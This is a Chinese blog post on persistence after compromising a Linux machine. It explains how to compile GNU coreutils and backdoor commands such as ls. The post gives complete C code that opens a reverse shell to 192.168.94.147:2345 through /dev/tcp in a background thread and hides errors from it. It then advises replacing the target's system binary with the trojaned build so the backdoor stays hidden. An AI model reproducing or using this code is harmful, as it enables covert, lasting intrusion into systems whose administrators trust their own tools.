自行编译linux命令——权限维持

关键词:权限维持、linux、编译

参考链接:https://www.youtube.com/watch?v=PW6l972X_RA

一、环境准备

1、下载linux命令源码,地址:https://ftp.gnu.org/gnu/coreutils/,版本:coreutils-9.3.tar.gz

2、先用root账户安装gcc和make环境,如果有则跳过,或者尽量找一个自带gcc和make的环境,我用的是CentOS7

3、添加一个普通账户

useradd –home /home/test test -s /bin/bash

4、获取编译环境配置

cd到/home/test目录,并切换至test用户

然后把下载的coreutils-9.3.tar.gz放到该目录并解压

tar zxpf coreutils-9.3.tar.gz

cd进入coreutils-9.3,然后ls可以看到文件configure,直接执行configure拉取配置

./configure

如果没有报以下错误,就说明成功了(这也是为什么要用低权限账号的原因)

you should not run configure as root

二、编译

直接在/home/test/coreutils-9.3目录下执行

sudo make ./install

编译好的文件在/home/test/coreutils-9.3/src目录下,命令的源码文件也在该目录

三、其他操作

可以在命令的源码中加入后门,比如反弹shell,结合其他漏洞写入目标机的命令目录

比如在ls命令中加反弹shell,执行时命令行会被占用或者报错,为了更隐秘,可以禁用命令报错,然后加线程或进程,或者让其后台运行

示例:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#include <pthread.h>


void *threadFunction(void *arg) {

    // 打开空设备 /dev/null
    int null_fd = open("/dev/null", O_WRONLY);

    if (null_fd == -1) {

        pthread_exit(NULL);

    }

    // 将标准错误重定向到空设备
    if (dup2(null_fd, 2) == -1) {

        close(null_fd);

        pthread_exit(NULL);

    }

    // 关闭文件描述符
    close(null_fd);

    // 执行命令
    system("bash -i >& /dev/tcp/192.168.94.147/2345 0>&1");

    pthread_exit(NULL);

}

int main() {

    pthread_t thread;

    // 创建线程
    if (pthread_create(&thread, NULL, threadFunction, NULL) != 0) {

        return 1;

    }

    // 等待线程结束
    if (pthread_join(thread, NULL) != 0) {

        return 1;

    }

    return 0;

}

上面代码是用线程反弹shell,将上面的代码插入命令源码的main函数中即可。

但还有一个问题,就是写入的命令没有执行权限,目标机管理员如果执行,会有提示没有执行权限,这种情况可以在拿到目标机权限的情况下,替换命令,并给个执行权限,当权限维持来使用

还有一点要注意,编译好的命令是否能在目标机使用(最好是在目标机同样的系统环境下进行编译)。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值